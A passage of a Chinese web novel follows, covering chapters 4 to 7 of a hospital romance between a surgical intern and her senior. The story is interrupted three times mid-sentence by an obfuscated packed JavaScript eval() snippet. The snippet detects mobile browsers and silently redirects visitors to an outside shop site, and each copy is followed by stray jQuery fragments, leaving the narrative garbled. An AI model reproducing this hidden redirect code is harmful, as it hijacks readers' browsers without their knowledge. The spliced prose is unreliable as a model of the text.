说着,沈赫行把两边的短袖挽到肩膀以上,他一顶开开关,清水便从水龙头流出,顺着他交叉的指节流下。
简单冲洗一遍,他取了洗手液和刷子,按照顺序从拇指仔仔细细刷了起来,略为坚硬的刷毛和皮肤接触,发出“沙沙”的响声。
泛红的皮肤逐渐被白色泡沫所掩盖,由于洗手液慢慢减少,泡沫越来越薄,反倒勾勒出流畅的小臂线条。
以前方寓宁和同学们一起上课时,对术前洗手只有笨拙与搞笑的印象,而沈赫行却让她改变了想法。
原来这几个动作,也可以做得如行云流水般自然从容,既一丝不苟,又不让人觉得教条。
.
洗完手进去,病人已经麻醉完毕,沈赫行端起消毒碗,准备给病人消毒。
方寓宁犹豫再三,最终鼓起勇气问:“师兄,为什么那个病人禁食那么久,还是发生了吸入性肺炎啊。”
沈赫行手拿持物钳,夹起纱布,浸透了碘伏,在病人腹部一下一下涂抹。
“那个病人的诊断有什么?”
方寓宁回想:“胆囊结石,还有胃癌。”
沈赫行:“胃癌病人,胃排空的速度比正常人慢,不能以正常禁食时间来算,所以连十个小时的禁食时间都不够。”
“还有,这个病人抽烟喝酒,支气管情况比一般人更差,发生问题的可能性也更大。”
方寓宁恍然大悟:“原来如此,谢谢师兄。”
沈赫行随意道:“不用。”
旁边的麻醉医生笑话道:“啧啧,我们沈师兄真是一个随和温柔的好老师啊。”
沈赫行瞥他一眼:“那是当然。”
说完,放下消毒碗又出去洗手了。
麻醉医生调侃归调侃,还是在方寓宁面前说好话:“你们沈师兄很负责的,跟着他好好学,不要浪费好机会。”
方寓宁听话地点点头:“嗯,知道了老师。”
手术间内灯光明亮,麻醉机时不时发出声音,病人安静地躺在手术台上,在睡梦中等待一场治愈。
方寓宁察觉沈赫行对自己的态度似乎有所松动,难不成是因为她今天汇报的表现还不错,所以他觉得自己还算有救,不算一块不能雕的朽木?
今天的手术仍是胆外很常见的胆囊切除,不过今天做的是开腹,方寓宁也上台了,做一些吸引拉钩之类的杂活。
两个多小时过去,手术总算在饭点结束,缝皮时沈赫行也给了方寓宁一根针:“来,你从上面缝,我从下面缝。”
方寓宁:“!!!”
“师兄你这么信任我吗?我就只在狗狗身上缝过。”方寓宁实在有点不敢动手,毕竟这可是活生生的人。
沈赫行已经开始打第一个结了:“没事,你放心缝,没做好还有我给你兜底。”
他语气自信,但不惹人反感,方寓宁咽了下唾沫,这才开始动手。
她费力地缝了五针,沈赫行就已经缝上来了,她看了一眼,沈赫行缝的伤口仿佛用尺子比着一般标准漂亮,而她的……
算了,不说也罢。
沈赫行用镊子夹了夹,觉得紧度合适:“还可以。”
方寓宁:“……”
如果之前不认识你,我一定以为你是个鼓励型的好老师。
最表浅的一层不用缝,而是打皮钉,沈赫行打了一半,又递给方寓宁打另一半,这个没什么技术含量,方寓宁自我感觉还成。
贴好敷贴,他们将病人身上的无菌布掀掉,盖上被子,剩下的工作就是麻醉医生的了。
“麻烦帮我解一下带子,我好像把它弄成死结了。”沈赫行背对着方寓宁蹲下,长长一条人顿时变得和方寓宁差不多高。
方寓宁一看,原来是手术衣最上面的系带线头乱飞,把蝴蝶结给缠住了。
“师兄你等一下。”方寓宁小心翼翼地把线头给勾开,期间眼神不可避免地扫到沈赫行的脖子。
沈赫行低着头,颈后那块凸起的骨头恰好顶在绳结下方,他皮肤也很白,青色的头发短茬在头颈连接处格外明显。
扯开线头的一瞬间,方寓宁的手背恰好擦过那个地方,一股麻痒的感觉瞬间升起,久久不能消散。
“好了师兄。”
“谢谢,”沈赫行脱下手术衣,招呼道,“走,去吃饭。”
来到麻醉科的食堂,方寓宁还没来得及拦,沈赫行就唰唰刷了两份饭。
方寓宁脸微红,有些不好意思:“师兄,我有饭卡的。”
沈赫行神色如常:“没事,今天在台上你帮了我很多忙。”
他取下口罩,捏成一团丢到垃圾桶里,动作流畅随意。
方寓宁的目光不知不觉跟随着他,在食堂昏沉的灯光下,沈赫行的外貌也没有被削减半分,他不仅眉眼好看鼻梁高挺,而且唇线有致,整张脸有棱有角,面无表情的时候,冷得有些吓人。
方寓宁不敢多看,只埋头苦吃,干了一上午活早就饿了,她难得地把所有米饭都吃完,只留下一格一口没动的包菜。
沈赫行瞟了她的餐盘一眼:“走吧,回去休息一会儿接下一台了。”
路上,方寓宁看了眼微信,总带教@所有人,让他们改自己工号的密码。
方寓宁小跑两步和沈赫行并行:“师兄,你知道工号密码怎么改吗?”
“进医院官网……算了,等会儿我改给你看。”
“好,谢谢师兄。”
回到手术室,沈赫行用电脑点开官网的办公平台:“你的学号是多少?”
实习生的工号就是学号,方寓宁报了串数字,沈赫行问:“你是八年制的?”
江城医科大每个专业的学号都有固定格式,方寓宁的的脸色变了下,不过幸好戴着口罩,没有被察觉。
“……不是,我是五年制。”
沈赫行顺势问道:“有想好以后学什么方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640721|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向吗?”
“还没呢,想再多去几个科室看看再决定。”
沈赫行“嗯”了一声,这时下一台的病人已经开始插管,他们又出去洗手做准备。
这一台也是胆囊切除,不过是胆囊息肉,花的时间很少,三四十分钟就做完了。
李启东对沈赫行说:“你先和小方回去查房,下一台手术小方不用上了,在病房学学怎么管病人。”
方寓宁:“好的老师。”
沈赫行查完房又去了手术室,他们组就只剩下方寓宁和陈靖文。
方寓宁在微信里挨过陈靖文冷脸,其实不是很想跟他学习。
不过秉承着脸皮厚才能学到东西的观念,她问道:“陈师兄,请问你知道手术安排在哪里看吗?”
陈靖文看她一眼:“你大四的时候没来见习过吗?”
“……来过。”
“见习有半个月吧?来了半个月你连怎么看手术安排都不知道?”
陈靖文说完了,也没有教她,而是出去做自己的事了。
方寓宁抿了抿唇,见习的时候他们就按照安排去各个科室转了一圈,连电脑都没摸过,怎么可能会看这些东西。
“唉,我现在觉得沈师兄要比陈师兄好一点了。”宿舍里,方寓宁靠在椅背上感叹。
甘纯溪道:“什么好一点,我觉得你沈师兄就是很好啊。”
“嗯?”
甘纯溪掰着指头给她讲:“你看,你师兄叫护士老师给你收衣领,说明他不是一个占女孩子便宜的人;第二,他人也很有分寸,他对待你就是有距离的前后辈关系,对麻醉老师就是可以调侃的同事关系,分得很清楚啊。”
经她这么一分析,方寓才发现,对啊,他确实是个好人。
他只是……对她不太好而已。
方寓宁叹气:“唉,今天午饭是他刷的卡,我都有点不好意思了。”
贺弥道:“怎么不好意思?他不是说你帮了他不少忙吗?”
方寓宁:“人家那是客套,我总不能脸大真这么以为啊。这种事情,可以说是我帮了他忙,也可以说是他给了我机会。”
“就拿缝皮来说吧,人家自己做肯定比我做得更快更好,完全没必要带上我。要真计较起来,肯定是我受益更多。”
“唉呀,你真是……”贺弥也不知道该怎么形容,方寓宁说得很有道理,可是却把人与人之间的关系形容得冷冰冰的。
更让人觉得不舒服的是,方寓宁总是把自己的位置摆得很低,仿佛自己活该被没人情味地对待似的。
贺弥转而骂道:“你那个师兄太过分了,态度那么恶劣,就他能就他牛逼,见习的时候就把病历系统搞明白了!”
提到陈靖文,方寓宁也有些生气:“算了,我以后不理他就好了,就一起待两个星期,以后谁认识谁啊。不过我觉得奇怪,明明一开始他跟我说话没那么僵硬的。”
第二天早上,方寓宁提前二十分钟来到办公室,每当别人用病历系统查看病人信息时,她就凑到人家身后学,来回几次之后偷师不少。
“小方查房了。”李启东招呼道。
方寓宁左看右看:“可是沈师兄还没来呀。”
李启东在查房电脑车上输入自己的工号:“你沈师兄昨天刚下班就被张院长叫走,现在还在手术台上。”
方寓宁捕捉到关键词:“还?”
她看了眼护士站的时间,七点四十。
方寓宁问:“他们做了一个通宵啊?”
在方寓宁震惊的目光中,李启东感同身受地点了点头。
5. 第 5 章
方寓宁忍不住感叹:“沈师兄体力真好。”
体力很好的沈师兄快十点的时候来病房了,孟科看到他吃了一惊。
“我去,才做完啊?怎么不找个地方睡会儿?”
沈赫行按了按眉心,因为熬夜,眼睛有些泛红。
“要办出院,还要收病人,人家拖着行李从隔壁省过来,我难道让人家在医院门口等着?”
“那让他们在酒店多待一会儿,下午再来呗。”
沈赫行盯着电脑:“家庭条件不好,为了手术东拼西凑了几万块钱,哪儿舍得住酒店。”
孟科也不好说什么了,现在的气候越来越奇怪,江城的温度都直逼四十度,在外面候着简直是遭活罪。
沈赫行为他们考虑,早早地收进病房,好歹中央空调吹着凉快。
孟科不由得佩服:“不愧是张院长带出来的。”
他转过头对方寓宁说:“咱们张院长特别注重人文关怀,买猪看圈你懂吧?以后生病了要开刀就要找张院长和他的学生。”
方寓宁被他的比喻难听到了:“……孟师兄,你盼着我点好吧。”
电脑旁,打印机不停在工作,沈赫行等着它打病历首程检查报告等等,往日线条锋利的眉眼,也因为疲惫柔和了许多。
方寓宁看到这一幕,默默打开手机,点了份麦当劳。
今天出院的病人里有个特别难缠,说他们医院黑心,嚷着要看费用明细,沈赫行和他们交涉许久,心里压抑不住的烦躁。
然而,这份烦躁在进办公室的那一刻就被抹平了。
“沈师兄,你还没吃早饭吧?我点了汉堡还有粥,等会儿你要休息我就没给你点咖啡,牛奶你看行吗?”
办公室一向杂乱,各种纸张书本到乱放,方寓宁特意收拾出来一张桌子,将食物全部摆在上面。
沈赫行先是茫然了一下,然后说:“谢谢,多少钱我转给你?”
“不用了师兄,”方寓宁发自内心道,“今天我从你这里收获的东西,已经比过去四年学的都要多了。一份早餐而已,你就不要跟我客气了。”
临床知识在哪里都能学到,可像沈赫行那样的品质却未必。
沈赫行沉默了会儿,没有再提转钱的事。
应该是一晚没喝过水的缘故,他先喝掉了大半杯牛奶,然后才开始喝粥。
粥喝到一半,沈赫行问:“你病历写好了吗?什么时候交给我?”
方寓宁:“……”
不带这样的啊,我才给你买了早饭,你怎么就问起工作进度来了?
“呃……这个,我还没有问过病史,就,还没写。”
沈赫行利落地调出新入院病人的门诊记录:“你先看看,等会儿我陪你去问这个病人。”
方寓宁连忙道:“师兄你还是先回去睡觉吧,你都连轴转这么久了。”
似乎是因为吃了方寓宁请的早饭,沈赫行变得更加负责:“没事,问个病史十几分钟,不耽搁。”
方寓宁:“……”
行吧。
“哎哟喂,我们赫行早饭吃的麦当劳啊!”另外一个组的师兄一屁股坐到沈赫行旁边,不客气地把剩下的牛奶喝完了。
方寓宁看了眼他的工牌,原来叫丁德行,目前还是住院医师。
丁师兄摩挲着外卖单:“方寓宁女士……什么?你给他点的?我去,沈赫行你越混越low了,居然让师妹请吃饭!”
他一脸震惊地看着方寓宁,方寓宁有些尴尬:“那个,我看沈师兄做了一晚上手术,又那么早来病房,肯定没吃早饭……”
丁师兄拍拍方寓宁的肩膀:“师妹啊,以后不用这样啦,按理应该是我们请你吃饭喝奶茶的。”
方寓宁早就听说过在医院实习师兄师姐要请客的传统,不过她一直很疑惑:“为什么?你们不是也很穷吗?”
大概是被某个字眼戳到了痛处,丁师兄静默两秒:“你们实习有钱吗?”
方寓宁回答:“当然没有。”
何止是没有,不倒贴钱都算是好的。
“那就是咯,我们好歹还有点儿,你们是一点没有啊!”
外面上级医生叫着小丁,丁师兄一边应着一边往外走,同时用那种“你简直丢我们师兄辈的脸”的眼神看着沈赫行。
方寓宁问:“师兄,你和丁师兄很熟吗?”
沈赫行:“嗯,本科他在我隔壁宿舍,我们一起组队参加过科创比赛。他这人就是这样,你不用理他。”
虽然他说让方寓宁不用理他,不过方寓宁看他的神色,显然是把丁师兄的话放在心上了。
沈赫行喝完了粥,几下把剩下的食物解决了,医生工作性质的原因,他们吃饭都特别快。
新收进来的病人病史很简单,就是体检发现的胆囊CA,所有症状体征都是阴性,借着这个机会,沈赫行又教了一遍简略的查体。
查体期间病人家属一直地在说谢谢,不断揉搓衣服下摆,看上去很是局促不安。
拍其他医院的检查报告的时候,沈赫行道:“一般外面医院的检查我们就是做个参考,尤其是像这种县级医院,我们是不信任的,到这边来如果必要的话得重做一次。”
方寓宁问:“那哪些医院我们才信任呢?”
沈赫行:“看情况,江医大系的医院我们一般都挺信任的,比如附二附三院……大学城医院不算。”
方寓宁深以为然,大学城医院虽然也是江城医科大的附属医院,但医疗水平一直受人诟病。
还在新校区上学的时候,有次她耳朵长了个包块去那边看,花钱花时间做了一堆检查,医生还说不清楚到底是什么,让先做个治疗看看。
然后她就坐了一个小时地铁来老校区这边附一院,花了十五块钱挂号费,医生一摸直接说:“你这是个囊肿,切不切由你。”
从进诊室到出来不到五分钟。
方寓宁祈祷,以后自己的医术千万不要跟大学城医院那边一样。
等该收集的信息都记录好,沈赫行安抚了家属和病人几句,才和方寓宁离开病房。
李启东今天没再让沈赫行干活,孟科和陈靖文都表示理解,打算等会儿下午分一分任务,帮沈赫行处理一下病床上的事。
结果到了下午查房的时候,沈赫行又来了。
孟科说:“你也太拼了,回去就睡了两三个小时吧?干脆明天再来呗。”
沈赫行眼下浮着一层浅浅的青,不过并不让人觉得颓废,反而衬得他眼睛更加深邃。
他说道:“睡太久晚上又睡不着了,不如来这儿看一眼。”
听了这话,方寓宁心中又升起一丝崇拜,眼睛差点冒星星,然而下一秒沈赫行转过头来对她说:“等会儿我看一遍你换药。”
方寓宁眼里的星星瞬间熄灭:“哦。”
她突然有点后悔给沈赫行买早饭了,沈赫行变得更加负责是件好事没错,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640722|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可对她而言,这也是一种压力,因为这意味着沈赫行对她有了要求。
有要求就会有期望,她真的不想看到,那些对她抱有期待的人,最后对她露出失望的表情。
他们挑了一个伤口比较简单的疝修补的病人,换药期间有个人来问沈赫行他们什么时候能出院。
方寓宁本就紧张,这时有人来简直如有天助,她动作飞快,心想趁师兄没注意,赶紧给病人换完。
等他们沟通完,方寓宁也换药结束,她心里说yes,沈师兄没顾得上我!
结果刚刚走出病房,沈赫行就说:“来我们讲一下你刚刚换药中出现的问题。”
方寓宁:“……”
你刚刚不是背对着我吗??!
事实证明沈赫行真的不是随便乱说,他指出的几个问题都是方寓宁确实有的,比如不小心镊子尖端朝上,又比如镊子和持物钳不小心碰到了一起。
“总的来说不错,大体上无菌原则没有问题,只是一些小细节还要注意一下。”
鼓励式的收尾,没有一点儿批评的意味。
方寓宁心下一松:“好的师兄。”
沈赫行看了眼运动手环,差不多要到五点,他说:“晚上我请你吃饭,你想吃什么?”
“啊?不用师兄,我回学校吃就好……”
“我想借用一下你做的那个吸入性肺炎的PPT,明天要给你们这些实习生讲课,我打算就讲36床的病例。”沈赫行说。
今天下午总带教就发了要去小讲课的消息,方寓宁说:“原来是你去讲啊。”
“对,所以你想吃什么?”沈赫行等着她的回答。
“这个……”方寓宁不知道挑什么价位的合适。
沈赫行决定道:“医院旁边那家牛肉店可以吗?好久没吃过了,味道应该还和以前一样。”
方寓宁赶紧答应:“可以可以。”
他们去了那家牛肉店,因为味道不错,价格也合适,又处在医院和学校旁边,生意一向火爆。
现在离饭点还有一会儿,他们很幸运地坐到一个面对面双人座。
“要一份清汤牛肉,一份黄喉,一份粉蒸牛肉,你还想吃什么?”沈赫行问。
方寓宁道:“够了师兄,我们就两个人。”
“好,”沈赫行把菜单还给服务员,“麻烦把包菜换成小白菜。”
服务员备注了一下:“好的。”
方寓宁定定地看着他,缓缓眨了下眼:“师兄你……”
她一时不知道说什么,只能浅浅笑着说:“谢谢了。”
她收回那句话,其实沈赫行对她也挺好的。
有了这个概念,方寓宁的心情和语气都轻快许多:“我也不是挑食,就是吃伤了。”
“小时候家里条件不好,读的学校很差,学校食堂做饭很敷衍,每顿饭就只炒一个包菜,吃了六年,实在咽不下去了。”
眼前的女孩笑着说起那些往事,清甜的语调和自然的表情仿佛能驱赶一切阴霾。
沈赫行唇角微微勾起,瞳孔漆黑,倒映出对面人的轮廓。
这几天每次一看到她,她都是一副苦大仇深的模样,现在人倒是鲜活起来。
想到早上她买早餐时的真挚表情,沈赫行眼皮半掀,手指拨弄了下旁边摆放的绿植。
如果不是一开始就清楚她做的事,谁能想到这个可爱的姑娘,背地里居然是个很会哄人开心的小骗子呢。
6. 第 6 章
大概每一个人得到意料之外的好意后,都会不受控制地说些出格的话,做些出格的事。
方寓宁小心看了眼周围,压低声音问道:“沈师兄,陈师兄他厉害吗?”
沈赫行正在拆碗碟,闻言突然停顿,抬眸看向方寓宁,黑沉沉的眼内看不清情绪。
“你问他做什么呢?”
“这个嘛……”方寓宁纠结了会儿,双手合十请求道,“师兄,我跟你说了你千万别告诉别人啊。”
“嗯,我不说。”沈赫行答应道。
方寓宁把昨天下午的情况如实说给他听:“……师兄,我保证我没有一点点添油加醋!”
沈赫行这才回答刚开始那个问题:“他确实很厉害,高院长的学生,高院长你知道吗?我们医院的三位院士之一。”
方寓宁当然知道,医院大门进门就是这几个院士的介绍。
她小声道:“你的老师也是院士呀,你也很厉害,但是你跟他不一样。”
听了这话,沈赫行笑了下,警惕之心也全然消散。
“我是你带教师兄,你以后有什么问题留着问我就好。还有,以后这些话也不要在别人面前说。”
“为什么?”
沈赫行敛了神色,隐晦道:“两位老师的关系不是特别和谐。”
方寓宁瞬间懂了,同时也感到一阵后怕,自己居然才来实习就犯了大忌。
见她坐立难安,沈赫行难得宽慰人:“不用紧张,我们下面这些学生相处得都还不错,只要别被上面的老师听见就行。”
“嗯,”方寓宁放心了些,但还是想知道,“沈师兄,陈师兄真的在见习的时候就学会操作病历系统了吗?”
沈赫行略一思索:“大概吧,他在学习上很有积极性。”
“唉……”方寓宁皱着眉头,一副十分烦恼的样子。
“怎么了?”
方寓宁苦恼道:“如果他没做到,我还能说他严于待人宽于律己找我茬;可是他自己本身就做到了,说明他就是一个严格的人,我就没资格给自己抱不平了。”
沈赫行发现她的逻辑有点意思:“也不能这么说,别人做到了自己却没做到的事情很多,如果每一件都值得被批判,那活着也太累了。”
方寓宁的眉毛皱得更厉害了,她觉得沈赫行说得也有道理,但是吧,和她一贯接受的“要反思自己”的教育相悖。
恰好他们的菜端上来,方寓宁摇摇头:“算了,不纠结这种事了,吃饭!”
沈赫行给她拆了一双筷子,其实他也感到奇怪,据他了解,陈靖文并不是会为难实习生的人。
就算他平时待人接物不怎么热情,但也绝对不会说这种伤人的话。
吃完饭以后,沈赫行又带方寓宁去医院里的便利店。
这家店不大,仅有的两排货架摆着各种零食,冷藏区还有饮料和速食。
沈赫行提了个灰色小篮子跟在她身后:“想要什么自己拿。”
方寓宁连连拒绝:“不用了师兄!真的!你已经请我吃了饭了!再拿真的就太过了!”
沈赫行见状,直接往购物篮里丢东西:“医院员工可以直接在这里刷饭卡,我们补贴多得用不完,你不用有负担。”
“师兄真的不用!我、我……”
沈赫行很快挑完东西刷完卡,转身问:“我什么?”
方寓宁此刻只能:“……谢谢您。”
刚刚刷卡的时候,方寓宁清楚地看见沈赫行的饭卡余额还有五千多。
附一院的食堂几乎是亏钱做,一顿饭营养丰盛,荤素搭配合宜,就只收六块钱。
照这个用法,确实如沈赫行所说“多得用不完”。
这倒是让方寓宁的心理负担小了不少,也就没再拒绝沈赫行的好意。
沈赫行拎着两大袋子零食,“你现在要回学校吗?”
方寓宁快给沈赫行跪下了:“师兄我自己可以回去!你不用送我。”
沈赫行本来没这个打算,但是看到便利店外一个身影,便将就她的误会说道:“没事,反正不远,我和我妈一起送你回去。”
方寓宁:“嗯?”妈妈在哪里?
她顺着沈赫行的目光看去,正好看见一个眉目娴静的女人冲他们招了招手。
方寓宁惊讶:“黄老师?”
沈赫行说道:“对了,她应该教过你们。”
方寓宁回答:“嗯,上学期教过我们妇产科。”
黄佳莉黄老师是附一院的妇科主任,即将升为博导,是位风评很好的老师。
他们走出去,方寓宁仿佛鹌鹑一般乖巧:“黄老师好。”
黄佳莉道:“你好啊,你是赫行带的实习生吧?哪个专业的?叫什么名字呀?”
“老师我临五的,叫方寓宁。”
黄佳莉“哦——”了一声:“我好像从哪个同学那儿听说过你,你是你们专业的第一名对吧?保研快开始了,有没有读妇产科的打算?”
沈赫行无奈道:“妈,别见缝插针地给自己拉学生。”
方寓宁笑笑:“黄老师,我不保研,在准备考呢。”
沈赫行和黄佳莉同时惊讶地看向她,随即很快理解。
有些厉害的老师不爱招保研的学生,觉得他们都是靠期末考试突击取得高绩点,基础没打牢,他们经常对那些来刷脸的同学说——
“想来读我的研究生?可以,你们去考研,考到第一来证明你自己。”
他们理所当然地认为方寓宁就是要证明自己的其中之一。
黄佳莉把车钥匙递给沈赫行,沈赫行顺势道:“走吧,东西这么重,我们送你。”
这种小事拒绝多了也不好看,方寓宁只得道:“谢谢师兄,麻烦你们了。”
停车场要走一段距离,黄佳莉说道:“让他去开车,我们在门口等。”
她们刚走到医院大门,黄佳莉就接了个电话,脸色严肃。
“什么?我马上过来。”
她挂断电话,跟方寓宁说道:“小方,我有个病人出了点情况,要赶回去做手术,你让你师兄送你回学校,我先走了。”
“啊?黄老师再见。”方寓宁眼看着黄佳莉消失在视野,收回目光继续等待。
很快,沈赫行开着车过来,方寓宁说道:“师兄,黄老师回去做手术去了。”
沈赫行看向她,夜色里,他的侧脸打了一圈昏黄的光,轮廓朦胧,却依旧看得出几分冷意。
“嗯,上来吧。”
方寓宁坐上副驾驶,系上安全带,目视前方,同时……也在用余光瞟沈赫行。
不知道是谁说过,男人开车时的气质和平时是不一样的。
方寓宁想确实如此,等红绿灯的时候,沈赫行的手放松地搭在黑色方向盘上,更显骨骼突出,青筋起伏。
车内放着舒缓的音乐,外面的灯光透进来,竟然把氛围烘托得不错。
忽然,沈赫行倾身朝她靠近,一张冷硬的脸在她眼前无限放大,骨节分明的手渐渐朝她逼近,最后……
落在了她的安全带上。
沈赫行将安全带拉长了些,拔出卡扣重新插好。
“我就说为什么一直在响。”
方寓宁茫然地眨了眨眼睛,缓缓平复呼吸。
这种事情,可以直接跟她说呀……
车载屏幕亮起来电提示,是黄佳莉打来的,沈赫行按下接通,黄老师的声音在车内循环。
“我这边估计得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640723|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两三点才能结束了,我刚打电话给你爸,他差不多也是这个时间下班,等会儿他顺便来接我,你不用过来了。”
红灯跳为绿灯,沈赫行踩下油门:“好。”
黄佳莉继续嘱咐:“时间不早了,你回去快点睡,昨天今天都没怎么休息到吧?”
沈赫行语气透着无所谓:“还行,你们不都是这样过来的吗?”
“我们都是这样过来的没错,可看到自己孩子通宵通宵地忙,还是会心疼的。”
沈赫行突然笑了下。
黄雅莉问:“怎么了?”
“你今天这么温柔,我有点不习惯。”
“……”
黄佳莉慈母的声音逐渐崩解:“快滚回去睡觉。”
虽然二人的对话有些火药味,但其中对亲人的关怀和一家人的温馨不减。
方寓宁听得有点羡慕。
老校区和附一院本来就隔得不远,大多数时间就浪费在等红绿灯上了,很快,沈赫行就把方寓宁送到了学校门口。
“便利店买的东西放在后座,记得拿。”沈赫行提醒道。
“嗯。”
方寓宁下车,打开后座车门拿了零食,站在副驾窗口跟沈赫行道别。
“师兄拜拜。”
“再见。”沈赫行启车离开。
等彻底看不见车的踪影,方寓宁才放松地深呼出一口气。
.
沈赫行驱车回到家,他读博的时候就搬了出去,平时不住这边,不过今晚家里没大人,只有她妹一个小姑娘。
安全起见,他今晚就在这边休息了。
一打开门,沈赫行就看到正在吃烧烤的妹妹。
“作业写完了?”
沈赫言:“……”
“你能不能别一回来就问这种倒胃口的问题?”
沈赫行凉凉道:“不然问什么?你那个网恋对象?”
沈赫言连忙把食指抵在唇中央,示意他小声一点。
沈赫行:“爸妈还没回来。”
沈赫言:“可是家里有监控呀!”
沈赫行在她面前坐下:“这个暑假你们要补课了吧?”
沈赫言正在读高二,高二升高三的这个暑假,每个学校惯例要组织补习。
她撑着下巴苦恼道:“哥,我真的不行,爸妈读书厉害的基因是不是都遗传给你了啊?所以我才这么笨。”
沈赫行额角一跳:“按照遗传学的角度,我更应该怀疑你到底是不是我亲妹妹。”
沈赫言一下子站起来,椅子被她拉出刺耳的声音:“哥你可不能乱说,爸都说了,我当时生下来第一次睁眼看到的就是你!”
沈赫行:“……”
他捏了捏鼻梁:“那你能看在我们家基因的份上,稍微努点力吗?你现在这个分数连你网恋对象的一半都还没到!”
说到这个,沈赫言缩了缩脖子,她试探着问道:“你还问了人家成绩呢?”
沈赫行瞥她一眼:“问什么问?我当时说完话就走了。”
沈赫言心放了一半,又听他说道:“她是我们学校五年制的,最近来医院实习,分配到我手底下。”
这确实能估计出来,江医大五年制平均收分六百五,八年制则是六百八,沈赫言的确连人家的一半都没有。
不过此时,沈赫言更关注另一件事:“啊???分配到你手底下?”
一颗悬着的心,终于吊死了。
沈赫行目光如炬,哪儿能看不出沈赫言的意思:“我可没有针对她,而且——”
沈赫行看着她不太聪明的样子,再想到表现得勤学好问又上进的方寓宁,气不打一处来。
“而且,人家可比你乖多了。”
7. 第 7 章
沈赫言快窒息了,能不乖吗?那可是他们帮派第一小可爱宁小方呀!
不过沈赫言不敢说,只能用眼神控诉沈赫行。
沈赫行困意也上来了,他选择性无视掉沈赫言的眼神:“行了,吃完记得收拾,早点睡,别玩游戏。”
一说到游戏,沈赫言就想起她制造出来的一场惊天绝世大误会。
当年,她还是一个初中生,小屁孩,刚接触到这些年很火的某网游。
虚拟世界里可以随便立人设,冒充富二代啊、白富美啊之类的都有,沈赫言为了满足自己的虚荣心,也跟着搞这个。
不过她觉得立有钱人的人设太俗了,那时候她最崇拜的就是她哥,于是她给自己立了一个“名校毕业、成绩优异、知名三甲医院外科医生”的人设。
因为日常接触她哥,且家里随时有人给她解答疑惑,她装得还挺像模像样,一直没穿帮。
甚至还成立了帮派,收了徒弟。
可是随着年岁渐长,沈赫言越来越对这个身份感到羞耻,而且,她也不敢给帮派里的人坦白。
因为实在是太、傻、逼、了。
他们帮派也算是个大帮派了,她在游戏里面也有点名气,这要是传出去,她不得被笑个三天三夜?平日里跟她有过节的玩家不得落井下石嘲讽她是个小学生?
于是,沈赫言就一路装了下去。
直到一个多月前,她同城网恋被她哥发现了。
她哥这个人严肃死板得很,看了她和她男朋友的聊天记录,硬说她男朋友是女生在装男生骗人,还要她约她男朋友出来,由他去当面提出分手。
沈赫言才不想分,情急之下,就把同在江城的徒弟宁小方给约出来了。
事后沈赫言才发现自己做得不妥,但是她哥缴了她手机,还断了她的网,不让她出门,她也没办法再跟宁小方取得联系。
反正铁定穿帮的事儿,沈赫言就顺其自然,打算等她哥和宁小方见完面回来之后解释清楚。
但没想到的是,那天她哥回来,居然跟她说,他已经替她分手了。
当时沈赫言人就蒙圈了,拿回手机一看,宁小方的所有账号都注销了。
她想了好久都没想明白这个事,为什么宁小方可以一声不吭地就担了骗人的网恋“男友”这个罪名。
过了好长一段时间,她才把逻辑串起来。
她在网上套的是她哥的人设,刚好那天去提分手的是她哥,而她,是以师父的身份把宁小方约出来面基。
所以,宁小方把她哥,认成了自己师父。
不知道她哥的分手宣言是什么样的,总之,她俩就这么掰了。
一想到这个沈赫言就头痛,她也不敢跟她哥说实话,只一直在想方设法再联系上宁小方。
刚刚听到宁小方在她哥手底下实习,她还吓了一跳,怕她哥做些什么。
不过一听她哥说他不会针对她,还夸宁小方乖,她就放心了。
她哥虽然看上去不近人情,但人品非常值得信任。
他说不会做的事,那就绝对不会做。
.
另一边,方寓宁提着两个大袋子累死累活地爬楼梯。
她心想,早知道刚刚在便利店就不矫情,干脆利落地说要什么,她就应该全拿膨化食品,便宜大包拎着还轻巧!
要知道,她们寝室在八楼。
还没有电梯。
终于挣扎到寝室门口,方寓宁厉鬼索命一般连环敲门:“姐妹们快给我开门!!!”
“来了!”
里面响起推椅子的声音,门一打开,甘纯溪惊道:“卧槽,你怎么买这么多东西?江城要发生什么自然灾害了?”
“不是我,是师兄买的,”方寓宁给她们每人分了一瓶NFC,“想吃什么自己拿。”
贺弥和谷小萱发出怪笑:“噢~师兄买的~”
方寓宁喝了一口果汁说:“你们别乱想啊,明天师兄讲课要借用我的PPT,所以才请我吃饭给我买零食。”
贺弥和谷小萱更兴奋了:“噢噢噢!还请吃饭了!”
方寓宁:“……”
不想跟她们说话了!
桌上的手机忽然亮起,是赵月欣发过来的视频,方寓宁接起。
“妈。”
“诶,最近实习过得怎么样?”
